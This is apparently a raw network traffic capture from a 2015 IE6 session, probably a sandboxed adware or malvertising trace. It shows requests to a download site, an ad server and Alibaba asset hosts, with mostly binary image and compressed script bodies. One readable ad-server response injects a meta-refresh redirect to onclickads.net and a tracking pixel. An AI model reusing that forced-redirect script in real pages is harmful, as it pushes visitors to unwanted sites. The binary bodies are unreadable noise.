...2IDATH...[O.0...........Q/.~....F3'..e....7.D.......?i...Ah.5..21.t
.3|.....!e.f.%.O.C.a.!.....jU..u...>.Y:f.?.G../Z4.u.J.$i5..A..8.[).
..j..m3.#..|...y.@.~N..Fk.[...B<........u).. h._...eyj..n...'-.....
.0..l...#.n...,..v..G.$.......`.t$i..p..}z.....b>_.^o.-..A..f.Q.v..
4.Cj5.<b.M.Z.j........1....@@...~.....w.Lx.R......%tEXtdate:create.
2014-09-24T20:27:08 08:00U......%tEXtdate:modify.2014-09-24T20:27:08 0
8:00$N5s....tEXtSoftware.Adobe ImageReadyq.e<....IEND.B`.
<<< skipped >>>

GET /tps/i4/TB13n.FHXXXXXX7aXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img.alicdn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/jpeg
Content-Length: 13735
Last-Modified: Thu, 19 Mar 2015 09:19:46 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
SERVED-FROM: 81.52.170.75
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Cache-Control: max-age=307512440
Expires: Mon, 17 Mar 2025 08:24:52 GMT
Date: Fri, 19 Jun 2015 04:17:32 GMT
Connection: keep-alive
Timing-Allow-Origin: *
Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.Q.........................!.1A.."Q.2aq.....#.3BRb...$CSr....%&46Tcdes
...5DUu....................................1........................!1
A2Q..."3aq..#B..4r...............?...(..(.....(..(..(..(.....(..(..(..
(.5..4V([email protected].. .A ......}Y-P4..)8(eD|.2t..89.Ay.....s..;...
.^l......$%..I...s5$.r.u..^..b1.<@...-jn.t.X....:.<.e6........es
e..V...>..o.RH..Dv.f..Z Mm...[c..x.x..}[email protected]..
[email protected]..%c.OOy.[v..uB....!......9....ky`.2k.
...$...$.r.pI,..9..G..f..j....... 5 .QE.QE..E.P.E.KYoC.........yTS....
u...."...?......8....s..!....B...B..~......R.l.6..V./.k.o]Ho..QU..".s.
-.*..5.\...?...T*....;..KO'[email protected]@.QE.V.
...$s. mDu..kN...J..P...y...VL..m......#..S.x./KY.nC....]'...!....SZ.S
..(6....I.Zx.Yt.)..}..z#P3f.........%..8...............\.....,....i..\
^.p..O..r..}..B0.R.|.~PZ&3.O#......?w5`...\....=.<.PP...f..tX.9.K.e
..)P...~4.dlj}./.Z5(.......z..O...O..[d.:.:[email protected]^....
.........Vj{E........C q........H..,h.(g...i.......I..hX.Z.f. ..m.w..q
V..2.F..H#c...k...sb..C5./....p.i9.W..L...#......._..H5h.........C..[.
.V..mO..i.Z..P.T0w.>t..7....wkt9......./Gm,...e<';.j..O,rR.G....
.jp.Xem..E!..Y.[[email protected]@.QE.QExq....rH.
....-.%.G..l1...... :..8W..B....!.....z3].g}.k..J..Z....T.o.\%....
<<< skipped >>>

GET /tps/i1/TB1YUr7HpXXXXXTaXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img.alicdn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/jpeg
Content-Length: 31751
Last-Modified: Tue, 31 Mar 2015 02:32:49 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
SERVED-FROM: 92.123.78.44
Cache-Control: max-age=308442139
Expires: Fri, 28 Mar 2025 02:39:51 GMT
Date: Fri, 19 Jun 2015 04:17:32 GMT
Connection: keep-alive
Timing-Allow-Origin: *
Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C..............................................
......................C...............................................
..........................,...........................................
..C...........................!.1."AQa.q..2.#B....R...$3..%4...Sbr....
..............................7........................".!12.AB.#QRaq.
.3....$b.4.r..............?..m..kJ..s`.1r=!....E..;.s..&}>..6....q8
.~"...<...b....H...O..|[email protected]..!.z\........HF.9..M:...00...M..IC
...O...P....G..pi.p.W.h.;.-......"..e.@.[...).........o!(.O7......5[.9
.-Jq...ap.#.&...FR...{....^[email protected].#..IZZ...........k
.........b..b.]..>.YZ.gi.`2......k...f-......(7".[....8..<..6W{.
=1..Z.$.c...[#.$xc...c..l..;...\..Lq..Z...n=p3...|.e...e-.v....YT.r..s
...{.j.V.......(!.Y4N.. [email protected]'.I.......~...&.P8.%O.3.
.............I..Si=.].......bI..../.1.o.....q.8... .'.~qM.*...kmD...l.
U..".....r.....]C.lGA...<.R........eHm.#.I....o.....:*Pn.F.<v'..
!.I...).Y..1.h] ..............,.&..H...a.}..N..:H..~........sZ.b.:..V.
...E.....HeU.~.Z.Pb..Jp{....AuU.8...I.R\5)D.p.{.~N.#b.B.....IyD6lB}1.d
..&..zJ).[.r0.q.v..........,H.W")V.I..S.$.KR..<..1-.;O7.Rq;I]......
.RR.o.. (.....]9...n.R....Q.i..MB...I.._..~...w..B.gJ5.$....F;.a.r.R:]
.m...!?$... [email protected]~}}1\X.X..z'...>$5).........[5  ....$2.
.w..qR.H-T....b8"[email protected]._lI..>l.M...yl.'..l~....gN........Kl.V.
z}.;... &..^..V..e'w.......N9...C.2.<....3...J0W......ZIW _.....'.~
...NS...v?.8..}%.b.?..>..c.9....8...6..[#...}.. ...JT[.x....{..
<<< skipped >>>

GET /tps/i1/TB1QrZ5HXXXXXbmapXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img.alicdn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/jpeg
Content-Length: 18841
Last-Modified: Thu, 19 Mar 2015 09:19:50 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
SERVED-FROM: 81.52.170.75
Timing-Allow-Origin: *
Cache-Control: max-age=307512475
Expires: Mon, 17 Mar 2025 08:25:28 GMT
Date: Fri, 19 Jun 2015 04:17:33 GMT
Connection: keep-alive
Timing-Allow-Origin: *
Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.I...........................!1."AQa..2q.#Bb...R...$...................................1.......................!1..A"Qa.2.
q..3B.....#..............?..4.(.)J.JR.R....(.)J.JR.R....(.)J.B.......t
[email protected]............*..CLr.... ..(
....N.oJ..C)...?-..SHt.......t.3..........P..>.3...DV..[N.N..E...j.
".V>!\...| .N.v..i~;...}.....yTc6."\.'<.7.VVS......C....=|.....^
..N........Y.rY{...}[email protected]. s....h.c.W[.}.....w. r
.I......N..%.Q..q_zc..DPTK.\.iI......1VS........2....T.,.DK.F]........
.q#.^...I]C... ..l..J.i.<..B....|..]..3.R......)@)JP.R......)@)JP.R
......)@)JP.R....©'..M......x..t.T..rc...T..|......n..9....G.....o..
!#.....~...F..........l.-.f.).m[Q\ZH.....^C..........V.:{vKh[...q.....
....du'.m.......6..\i71...>.p~.......=k...k.-w^.A.C.m`s....>....
]............l...r].R.wg.Q.ni.HI.Dh...N|.@..<..:.6......s..c.....:.
..l.~.j.... ....B.........#.....V..Gm...q...7d...W/./....J....#....6{y
1.m.3...g.....j...d"....t...%( .......g.0kz..iZ.<.1...n.....}..;...
8.OJ.8Ei...@[..l..OZ.sR.A(..D.h....:w..mT....-V.5...oy..c......7.B.?.z
k.NB..cTR....(.)J.JR.R....(.)J.JR.R....(.)J._)Z...........I..Dh.......
....v>.,...0Y.6z...].N ......(R..|.9...o....1....?q.....u'......{..
%.Qfn....'>........Xv.|.Nm.G.k..T./6....mqhO.L..7.0.$....u....9
<<< skipped >>>

GET /maxpower-static/apps/34/68794/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.magnodownload.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/css
Date: Fri, 19 Jun 2015 04:17:25 GMT
ETag: "5506bcbe-72"
Last-Modified: Mon, 16 Mar 2015 11:21:34 GMT
Server: nginx
Content-Length: 114
Connection: keep-alive
/* mapp MixVideoPlayer */....welcome ul  {...width:210px;..float: left
; ..}...welcome ul li {..margin-top: 10px;.}HTTP/1.1 200 OK..Accept-Ra
nges: bytes..Content-Type: text/css..Date: Fri, 19 Jun 2015 04:17:25 G
MT..ETag: "5506bcbe-72"..Last-Modified: Mon, 16 Mar 2015 11:21:34 GMT.
.Server: nginx..Content-Length: 114..Connection: keep-alive../* mapp M
ixVideoPlayer */....welcome ul  {...width:210px;..float: left; ..}...w
elcome ul li {..margin-top: 10px;.}....


GET /js/show_ads.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: n149adserv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"7614-1432285206000"
Last-Modified: Fri, 22 May 2015 09:00:06 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Fri, 19 Jun 2015 04:17:29 GMT
a..............200...Ymo.8.. 6.....8=...U.4.^.H[\.......h..,jE.......I
..,{.......G....g...;,....l..A4.i... b.u*[email protected]..}...=..R*.......=.X
..p..ln.).....c..Q).i....w..|...',_.<l.6....).i._.EF.,....2......'&
gt;u.2....,&a.......s.G...6.!..D....O.2I.0e...6{.=s....s......G.......
.....!.`.......r..hl.{...o..=..u.r..y.w.....;\.y.......t.gT.._J._.X.|%
..#./.d..s......)..T|'n..".~..b....j!....Us?.i,.`P...y:s......^..y..b.
-...G4.._f.....^......y...M...........U....~.;..l..{.....X..9Ob.....A.
.......B<p&..bq-".L.AtV;.....T..O;../...!..ah.....200..V9.*....U ..
.4|.;V...;O..N>.GOA.... #8.Ft...e~..sG.HH..V..~..!.....|[email protected].....
Cwk/.w..fA Z.....l^...qg.>b....G...P..F.. G..j.0?..#.....$..G..P<
;.A......{..,....Y......K.*[email protected]...(=91..C~....c.a.'...t
..!.S.'...v..^..?.d.....1.....`...Ng..Dd^w>.....G.9..[..>/..|O.f
.hd..L.V1[...1..E.T,...qS.......2G7i.GC.gBr....E......U..xZ1|t.g...V..
...XH.R...R..."..D.>.0U...z..[GU1.(.y.L......|.)[email protected]].-..c..`....
C.|.G o..|..hb..2iL......T#p.bV.)b.z).....AZ.k.v..o.......n /"..|."...
......3...]^...u.1....1..\.P..200..H.b-......z......r\p....L..H].Q._Y.
W..v..DA.R..:..I=.C..Jg{W.....#.e.......O.#.....................\.0Q..
[email protected]..,AK!...H#...."...$..:p...S.R.k..Y:..<
...U....m6\..@.<.`...3.f......p.r.9....U.*]..f.b..k.i_..U..z..n1...
.&C|.6.X.1*X...k......P]...^k....U.=~..mrc......Jc.aASj,.|...B.f.l....
.....*.1..^[d....Fe.m7J.PW.v..C/d...E..l.....f5..v.D...B...'.&T....&E.
D....h.O.......M.R.4..h......sb{.YQ..Nm=%..d.....zO.{....9.*s.H..d
<<< skipped >>>

GET /ads-sync.js?v=1&key=8807bef3df789cfc967df2f12545a152&ch=&click=&tz=3&t=1434687456203&requestUrl=http://VVV.magnodownload.com/BesH3gE9/pop-up/&requestRef=&flashVer=11.6 r602&scrWidth=1276&scrHeight=846&cIds= HTTP/1.1

Accept: */*
Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: n149adserv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="CAO PSA OUR"
Set-Cookie: csc=76-1434773850058-19-1--; Domain=.n149adserv.com; Expires=Sat, 18-Jun-2016 04:17:30 GMT; Path=/
Set-Cookie: epomUUID=19bfe9b0-163a-11e5-a2cd-68b599ca8038; Domain=.n149adserv.com; Expires=Thu, 14-Jun-2035 04:17:30 GMT; Path=/
Content-Type: text/javascript;charset=UTF-8
Content-Length: 422
Date: Fri, 19 Jun 2015 04:17:29 GMT
document.write("<meta http-equiv=\"refresh\" content=\"0; url=http:
\/\/onclickads.net\/afu.php?zoneid=313275\" \/><script type=\"te
xt\/javascript\">new Image().src = \"http:\/\/n149adserv.com\" \"\/
im\" \"pressi\" \"on.gif?b=778\" \"&p=27&ch=&ap=&cps=&c\" \"=76&l=UA\"
 \"&h=acf77f38e46b2eec6d48af61483c53a7&t=\" new Date().getTime() \"&s=
8b63c92e3ac259a2e3f4bb02c2cb3d20\";<\/script>");.CustomWLAdServe
r.addCampaignId(76);....


GET /js/sufei.js?v=2015-05-26 HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: u.alicdn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Last-Modified: Mon, 25 May 2015 05:24:09 GMT
ETag: 86da1ecf_0
Server: Tengine
Content-Type: application/javascript
Content-Length: 2817
Content-Encoding: gzip
Cache-Control: max-age=29447696
Expires: Wed, 25 May 2016 00:12:30 GMT
Date: Fri, 19 Jun 2015 04:17:34 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
Network_Info: UA_KHARKIV_34323
SERVED-FROM: 80.239.222.174
...........X.s.6.. 6....D=.;..X..M.nr.....d(...S ..R\...o.>%?....M.
..b..~.X..`.'. ~.Z^2.f..H.t..)}.37..,..n....'a.y".T&:....B\....s.&..x.
..U...E&B....|..n..'.........W:..`-kMb..z>..-.....O.en..RG.S...s..[
.UQ..Ng....t[=..O.w.LE.t.(./.....g.....N.w.NwGN.....d:...._....p^. ..W
...}Vi.....l{......;c.,.hvrJ.........0..Y..qp./_.~....?...o.\.....?]^.
..?.....Y8g.e..^. ...J......_..........;=.Gp..E....s.)0...W.)U.s...9..
0w.......:..al.^?x....9...Y.........j....j.........p..`.1_F0.u.F.....:
f..!......L...rMV.G....{<...q.4........U1...q.....^...s..b..0r...a]
.............'.....a7MR.W.#.......y...*..]B..l..z........l\.'U...Z2}.W
...4sE..n[.\X.q........fVy..Ra.....d..%.l....I.......;...........?%.~.
.....:. 9QO...&....'..!.....7.O..L....$.=....T.S..;..~.1....l...x.l...
....=..@*.b...}pl.d..........$.V..7....6f ..9_#<F...f..L.;...5>B
o>\\...P&q.<.......HL..R([%k......$..Z..Y:......P4>..........
...^..5.... ...`......G.]FIx....]....}E..?2.{ y0......)X..A.4. .......
..|....a.-.P~...P7...B.Scz..h.8,.d.....*.....;h....(..n..\.C......].".
..i..R...O\5.*X.W..JZB..i.kP.Y....Z....c...T~.......\...}r.F...\J.R.Q.
....a ..M.5G.5X.o....i...Y.T3.%...{.%m......ycD...N.....8.......-.wg..
..=F.d........i..dI}A$.D....'#... 1.ID.i..^q.......x..<.J.M.A12....
.=V6.d...$.....y...:."(I...a.>,.k..u..JKW@uVF.*.)-.(f.R..RQ2.'i.n.S
......^....W...H.H...........x....3Fu.'...... ........h..8pc=...\2....
..C.N./J..q.n$..F....(#......8.|........../.......`n..N...!.\.......c.
........#...Yp..a.5..B]......l.......k{>@....w.p.}(..........j.
<<< skipped >>>

GET /js/6v/atom/??atom-sc.js?t=8e2771a7_11ce291e2b HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Last-Modified: Tue, 16 Jun 2015 08:23:36 GMT
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Length: 17948
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Cache-Control: max-age=31291688
Expires: Wed, 15 Jun 2016 08:25:39 GMT
Date: Fri, 19 Jun 2015 04:17:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
...........}.{...._.y..2.%..J.....i...rzz%... ..D*\........A.r..s..."A
......u..\-..p.ly.J..2..y...n7.o.......2.L..._$.0....J.<.$. .....Zn
cM.T........; ..V.z.h... ......X.8.LR...|!..u&a|.f......$...../...E..:
....#.'..L.A...d!.!...SL.D.p-.`....,.'......p.\..y..eI.N..,.*R.M.\B.s.
N..*M..8X..a........ ...AR.......Je.-d.. ..h.u^C........O.8....Y..*..o
..B.....gF.0.{...z}...|.e.L..2.......>..5.R..Z..D......4>0Yr....
.t......'..4..:.p.......r.8m.v..vkj_.e..v...Z..e.O.......,W.E...r..'..
........]{.........n.6..r..{"...<L..0.]*.!....NV\f4X........S.z.].l
6...4~|1s...=<..;...;.03....}.-,_....e.[&.t..V q...{...[C{e.Z..<
..U..A.d]z.W..{.1<..#.....cOX.~..._. .x.0...UU.....-6 MM..b..Wi....
2\.. x..,I]...'".r.M......\(..D.~..n......./{..l..FJ[&>...]..z...^.
.=o..6.Q."'T..N.3.......L.@jD..@.....%t.O;.....^5WW!.,..jm.x..l.A?.6..
...T>...a&.......gD........B... ...?...4...Z..k7..U....:..G9....%..
t.S.X.$...9.....Ol....L......>...t.,....;.$.V..... ...@..... ....d.
d..w7.fRO.....E.....R...:.T.`.}..f..$8<.T..$..A$....Xg2..K.9.......
p.........a..X,...n./.b......u.x..S'...h ..........&...E...^...p...d.&
)=.lM....... .X.<S...L.0.......%....)......z.U-.k.C'..\..y.....].n.
p....x8.).t..b/Oo.1....,.....6.9.:q...S~yuq......O_.|.......^..I.).<
;......i==.....r|P....v.e....7l;.>#....tt..}f4.#. .......~...%.j.e.
.~.08.#U.S.T...sZ.b.....Jd9..rg.....vI..U.1..u.j.M/...z[.=......$..H..
..E.&..$...7......U.....bD`.E.....n.(.<....J....88.....[x.}.C......
.S.s..uz.V.A.A.. ...u.=..).7.L.....ix..2..l.#=...s~....3...P 3.Ps?
<<< skipped >>>

GET /js/6v/lib/gallery/??jquery/jquery.js,es5-safe/es5-safe.js,json/json.js?t=db4c592b_0 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Content-Length: 35636
Last-Modified: Tue, 23 Dec 2014 06:30:42 GMT
Content-Encoding: gzip
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Timing-Allow-Origin: *
Cache-Control: max-age=16165479
Expires: Wed, 23 Dec 2015 06:42:10 GMT
Date: Fri, 19 Jun 2015 04:17:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Timing-Allow-Origin: *
...........}.{.F..."b...lQ......s...d&...I2..."A.1.0.(Y....._Uw.qP.{..
..q4.....n...z._../..o..6)"...6..iY...Q.J...x4...x...*......|...H...w|
...TRU.&..V....2.....<...).:..W...?...m.3....t...l...".m...JT.<.
I.-.#......_.$x..aV...d.=.....Q..o.dTnVi....."...i6..g.@U{[..x...!]...
.:>NFY.H..o..?....[.U|...Q.lV.<..S...s/.U.W.]R......E.....EU....
J.4.S..../.....7..G=*.....zU.M...,..e.*q{...v..&........b2,.W.*) ..&..
M\....|..............#.\.s.P...j.'....3;..e^..Q..%<1.:.Z.(nGi.z....
..5.W~2.fA0..*....t......H3.s..M.m/.|....>...N.m.....n7H0.$........
..95...."?J".{|w...?q.|.57 .../.c......0R...... ..xM0B... .....hN...Tb
[J...^ ....*4...:...U....".....1iRSZ.|.#[..*!.....`\E..`.A..i.^.E|...&
lt;:...s...M>..~.v^.2.\."...U>..i.?/.k....L.}.J.0...F.$..n..kz..
7~`W!......;?...g.g.o..o.5..L.f..x.I..KjnA.(.......f....n....A....M\..
.k.`.9.}.RU...";;P...T..mT..[..s.%.OVI...Tc.X%*...=..3..m..":Si.%\.'m\
\..b8.n..Q.XP3.B.i1..9c.:/......h6....G....C...;.7#.i[%qa.hy|.y..*....
:i.k=..e.4.Uk"lzE[%gl.M.......QNU._... .={...Q..l....T.../Wy.x$.2)r|L 
H]XS..a.U...)[email protected]..
..Mh..x. .G7.F?q....ME.K3..C]._.z.V.,.E..h0...w... \.{,d....z.|....5w.
.k..8....k."o..=..&......B[..&2..x.Z..h......{.p.Z GcM.Kg....?.\ g...l
{^o........q4..i.W).$...........G\zr...o.4..e.5........8....yI;Jy...r|
..L...{[email protected].. .uu.?.8..,"j.$...........|\..y .?-g.. .1......".Ly.ja
;[email protected]... .H.*..B.l..'$...B.._.S.......`O.......zH
kuh..o..............K....EBa|_..M.t.....|.W7.u..?S..|v.gD=.../..P.
<<< skipped >>>

GET /simg/sprites/app/[email protected]?t=21312772_0 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: style.aliunicorn.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/png
Content-Length: 12328
Last-Modified: Wed, 29 Apr 2015 02:46:24 GMT
ETag: 21312772_0
Timing-Allow-Origin: *
Cache-Control: max-age=27341154
Expires: Sat, 30 Apr 2016 15:03:25 GMT
Date: Fri, 19 Jun 2015 04:17:31 GMT
Connection: keep-alive
Timing-Allow-Origin: *
.PNG........IHDR...X.........E.......sBIT.....O.....PLTE..............
......6...<.q.u....3m..f.UUU333*#.$  .."..#.............u.....f.UUU
333$  ..#...................u....3m..f.UUUIII333$  ..........u.fff.f.U
UU333$  ....u.....f.UUUMMM333---$  .......u.....f.UUU333$  ..&..'.u..f
.UUU333.. .u.3m..f.UUU333..'.......u.3m..f.UUU333$  ..%.u..f.UUU333$  
....u....YYY.f.UUUMMM333$  ....u..q.......iiiYYY.f.UUUQQQ999333$  ....
.6.u.....n....3m.fffaaa.f.UUU333$  ................u....mmmiiifff]]]YY
Y.f.UUUQQQAAAT5.333$  ................................................
................................u..r..i..e.....`..\..X.....U..P..M....
.I..C.....;..8.....6..0........-<.q.......{$.}..y .~..w.....y..{..x
..u..v..q..t..s.....p.yyyuuu.d.qqqmmm.`.iiifff3m..X..X.aaa]]].O.YYY.f.
UUUQQQ.G.MMMIIIrB.EEEi=.AAAb<.===999677O1.333H/.---(((%$$.."K.;~...
.tRNS..................."""""""""""33333333333333DDDDDDDDDUUUUUUUUUfff
fffffffwwVVV..........................................................
......................................................................
...........................................................pHYs.......
....~.....tEXtSoftware.Adobe Fireworks CS6...... .IDATx.........co_i.-
.zSy.eZ....F..([email protected]]/.h.,[k...V....Z.RE.....v.m.J....X.V....
F.{.I&3...f&g....I.9If....?gv;... k.....WX...X....S...;....?...r.t1..x
...utl.2.t_A.a.P4...G?..^.pQ.]..._|..)\'@.m.TW......>`..7^.;RKO.%T.
..E...c..Y..cO.W......_|..._.C.,*UgG..6..x...8m....f.*..."..9.=......w
j^-Q.C...N.Z.h.;o..3..8...*.M%....O..j.w51..BR...u...[gL.I.O..I...
<<< skipped >>>

GET /js/6v/??biz/list/common/top.js,biz/list/common/bottom.js,biz/aisn/ghome/categories/categories.js,biz/common/header/header-v4-sc.js,biz/common/top-reached/top-reached.js,biz/common/url/url.js,biz/common/cookie-info/cookie-info.js,biz/common/affiliate-remarketing/affiliate-remarketing.js,biz/common/umid/umid.js,biz/arcadia/premium-ppv/premium-ppv.js,lib/gallery/store/store.js?t=388bfba55_1017e8f7eab HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
